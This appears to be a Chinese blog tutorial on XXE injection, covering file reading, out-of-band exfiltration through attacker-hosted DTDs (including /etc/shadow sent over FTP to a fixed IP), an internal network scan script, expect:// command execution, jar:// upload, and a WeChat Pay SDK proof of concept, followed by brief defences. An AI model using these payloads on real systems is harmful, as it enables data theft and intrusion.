xxe



XXE

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,是对XML注入的扩展,普通的 XML 注入太过鸡肋。

XML的基础知识

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的,他就是长得下面这个样子

示例代码:

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

示例代码:

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

DTD中还可以定义实体

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体,到时候我们可以在 XML 中通过 & 符号进行引用,那么 XML 就可以写成这样

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

上面的例子是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:

示例代码:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

上面的例子是通用实体,在XML文档引用,而参数实体,% 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用

XXE利用一:有回显的读取敏感文件

首先在本地上搭建php环境

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
$c = simplexml_import_dom($dom);
echo $c;

?>

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<test>&goodies;</test>

成功读取到文件

当文件含有特殊字符,如&,<,>,”,’等,文件读取会失败。这时候我们可以利用base64编码输出

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [  
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt"> ]> 
<test>&goodies;</test>

另外一种方法是把我们的读出来的数据放在 CDATA 中输出。

<![CDATA[

XXXXXXXXXXXXXXXXX

]]>

这时候需要用到参数实体和外部引用DTD文件。要确保服务器支持外部引用,如果是PHP环境,需要allowurlfopen=on。

payload:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

同时在自己的服务器下放置did文件

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

XXE利用二:没有回显读取敏感文件

首先将我们刚刚搭建的PHP环境改为无回显的。

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

因为没有回显,所以我们要将文件外带出来,所以需要发起请求,而且要将读取的文件内容放入请求中,所以要用到外部DTD。 首先在自己的服务器下放置DTD文件

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

ps: send 前面的 %要转为HTML 实体,否则会出错。因为实体的值中不能有 %, 所以将其转成html实体编码 %

payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

整个调用过程:

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

可以在apache的access.log中看到请求记录中带有编码后的文件内容

也可以在kali 用nc -lvp 端口号 进行监听

如果将DTD文件内容改为:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://www.eyngtd.ceye.io/%file;'>"

则可以在DNSlog在看到外带出来的内容(dnslog的知识在我之前的博客有提到)

目标站为JAVA环境

若在实际的渗透测试中,目标站是java环境,我们想外带数据,但是没有像php这样的filter协议来base64编码怎么办呢?

我们可以在vps上搭建一个ftp服务器来继续传输数据。

搭建ftp的脚本github上有很多,这里随便找一个都行。

2.dtd:

<!ENTITY % d SYSTEM "file:///etc/shadow">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://121.196.193.160:8009/%d;'>">
%c;

在自己的服务器上放置2.dtd,同时运行ftp服务器脚本。(https://github.com/TheTwitchy/xxer)

然后发送payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % aad SYSTEM "http://121.196.193.160/2.dtd">
%aad;
%c;
]>
<reg>
  <name>&rrr;</name>
</reg>

就可以看到传输过来的数据了。

XXE利用三: HTTP 内网主机探测

可以利用XXE来探测内网中的HTTP主机

ptyhon脚本:

import requests
import base64
def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://10.10.10.1:8080/123.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print (coded_string)

for i in range(1, 255):
    try:
            i = str(i)
            ip = '10.10.10.' + i
            string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
            print (string)
            build_xml(string)
    except:
            continue

即探测内网中开放80端口的主机,需要有回显的情况

XXE利用四:探测内网端口

可以结合bp的爆破模块,根据响应时间大概探测端口。

XXE利用五:远程代码执行

需要php开启expect模块,这种情况很少。

<!ENTITY xxe SYSTEM "expect://id" >]>

XXE利用五:上传文件

前面将的都是跟PHP有关的xxe漏洞,有师傅说实际上现实中很多都是 java 的框架出现的 XXE 漏洞。首先认识下java的协议 jar://。

jar:// 协议的格式:

jar:{url}!{path}

实例:

jar:http://host/application.jar!/file/within/the/zip

这个 ! 后面就是其需要从中解压出的文件

jar 协议处理文件的过程:

(1) 下载 jar/zip 文件到临时文件中 (2) 提取出我们指定的文件 (3) 删除临时文件

网上找的解析 XML 文件的 java 源码:

package xml_test;
import java.io.File;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

import org.w3c.dom.Attr;
import org.w3c.dom.Comment;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;

public class xml_test
{
public static void main(String[] args) throws Exception
{
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();

    Document doc = db.parse(new File("student.xml"));
    //获得根元素结点
    Element root = doc.getDocumentElement();

    parseElement(root);
}

private static void parseElement(Element element)
{
    String tagName = element.getNodeName();

    NodeList children = element.getChildNodes();

    System.out.print("<" + tagName);

    //element元素的所有属性所构成的NamedNodeMap对象,需要对其进行判断
    NamedNodeMap map = element.getAttributes();

    //如果该元素存在属性
    if(null != map)
    {
        for(int i = 0; i < map.getLength(); i++)
        {
            //获得该元素的每一个属性
            Attr attr = (Attr)map.item(i);

            String attrName = attr.getName();
            String attrValue = attr.getValue();

            System.out.print(" " + attrName + "=\"" + attrValue + "\"");
        }
    }

    System.out.print(">");

    for(int i = 0; i < children.getLength(); i++)
    {
        Node node = children.item(i);
        //获得结点的类型
        short nodeType = node.getNodeType();

        if(nodeType == Node.ELEMENT_NODE)
        {
            //是元素,继续递归
            parseElement((Element)node);
        }
        else if(nodeType == Node.TEXT_NODE)
        {
            //递归出口
            System.out.print(node.getNodeValue());
        }
        else if(nodeType == Node.COMMENT_NODE)
        {
            System.out.print("<!--");

            Comment comment = (Comment)node;

            //注释内容
            String data = comment.getData();

            System.out.print(data);

            System.out.print("-->");
        }
    }

    System.out.print("</" + tagName + ">");
}
}

有了这个源码以后,我们需要在本地建立一个 xml 文件 ,我取名为 student.xml

<!DOCTYPE convert [ 
<!ENTITY  remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
]>
<convert>&remote;</convert>

大佬用 python 写的一个 TCP 服务器,这个服务器的目的就是接受客户端的请求,然后向客户端发送一个我们运行时就传入的参数指定的文件,但是还没完,这里加了一个 sleep(30),来延长临时文件的存在时间。

python脚本:

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = 'localhost' 
listen_port = 9999 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
            http_req = b''
            print('New connection:',self.client_address)
            while b'\r\n\r\n' not in http_req:
                try:
                        http_req += self.request.recv(4096)
                        print('Client req:\r\n',http_req.decode())
                        jf = open(jar_file, 'rb')
                        contents = jf.read()
                        headers = ('''HTTP/1.0 200 OK\r\n'''
                        '''Content-Type: application/java-archive\r\n\r\n''')
                        self.request.sendall(headers.encode('ascii'))

                        self.request.sendall(contents[:-1])
                        time.sleep(30)
                        print(30)
                        self.request.sendall(contents[-1:])

                except Exception as e:
                        print ("get error at:"+str(e))


if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

如果我们要知道临时文件所在的文件夹,可以利用报错来知晓。

jar:http://localhost:9999/jar.zip!/1.php

当1.php不在jar.zip中时,会报错。

知道路径后,我们就要利用sleep()延长临时文件的存在时间,而且,因为我们要利用的时候肯定是在文件没有完全传输成果的时候,因此为了文件的完整性,考虑在传输前就使用 hex 编辑器在文件末尾添加垃圾字符。

演示的动图,可以看到,临时文件在文件夹存在了一小段时间。

具体怎么利用,看实际情况吧。

微信支付的XXE

漏洞描述:

微信支付提供了一个 api 接口,供商家接收异步支付结果,微信支付所用的java sdk在处理结果时可能触发一个XXE漏洞,攻击者可以向这个接口发送构造恶意payloads,获取商家服务器上的任何信息,一旦攻击者获得了敏感的数据 (md5-key and merchant-Id etc.),他可能通过发送伪造的信息不用花钱就购买商家任意物品

我下载了 java 版本的 sdk 进行分析,这个 sdk 提供了一个 WXPayUtil 工具类,该类中实现了xmltoMap和maptoXml这两个方法,而这次的微信支付的xxe漏洞爆发点就在xmltoMap方法中

public static Map<String, String> xmlToMap(String strXML) throws Exception {
        try {
            Map<String, String> data = new HashMap();
            DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
            InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
            Document doc = documentBuilder.parse(stream);
            doc.getDocumentElement().normalize();
            NodeList nodeList = doc.getDocumentElement().getChildNodes();

            for(int idx = 0; idx < nodeList.getLength(); ++idx) {
                Node node = nodeList.item(idx);
                if (node.getNodeType() == 1) {
                    Element element = (Element)node;
                    data.put(element.getNodeName(), element.getTextContent());
                }
            }

            try {
                stream.close();
            } catch (Exception var9) {
                ;
            }

            return data;
        } catch (Exception var10) {
            getLogger().warn("Invalid XML, can not convert to map. Error message: {}. XML content: {}", var10.getMessage(), strXML);
            throw var10;
        }
    }

我们可以看到 当构建了 documentBuilder 以后就直接对传进来的 strXML 解析了,而不巧的是 strXML 是一处攻击者可控的参数,于是就出现了 XXE 漏洞. 为了测试漏洞,在 com 包下又新建了一个包,来写我们的测试代码,测试代码命名为 test001.java

test001.java

package com.test.test001;

import java.util.Map;

import static com.github.wxpay.sdk.WXPayUtil.xmlToMap;

public class test001 {
    public static void main(String args[]) throws Exception {

        String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" +
                "<!DOCTYPE XDSEC [\r\n" +
                "<!ENTITY xxe SYSTEM 'netdoc:/d:/1.txt'>]>\r\n" +
                "<XDSEC>\r\n"+
                "<XXE>&xxe;</XXE>\r\n" +
                "</XDSEC>";

        try{

            Map<String,String> test = xmlToMap(xmlStr);
        System.out.println(test);
        }catch (Exception e){
            e.printStackTrace();
        }

    }
}

这里用了netdoc:/协议,netdoc:/ 和file:///一样,可以读取文件,在java中。

JSON content-type XXE

正如我们所知道的,很多web和移动应用都基于客户端-服务器交互模式的web通信服务。不管是SOAP还是RESTful,一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击。也就是原本接受数据格式为JSON,Content-Type: application/json的服务器,在传入xml数据,Content-Type: application/xml后可能可以解析xml数据。从而造成漏洞。

XXE防御

使用语言中推荐的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

参考文章

https://xz.aliyun.com/t/3357#toc-20

留下评论

粤ICP备20010650号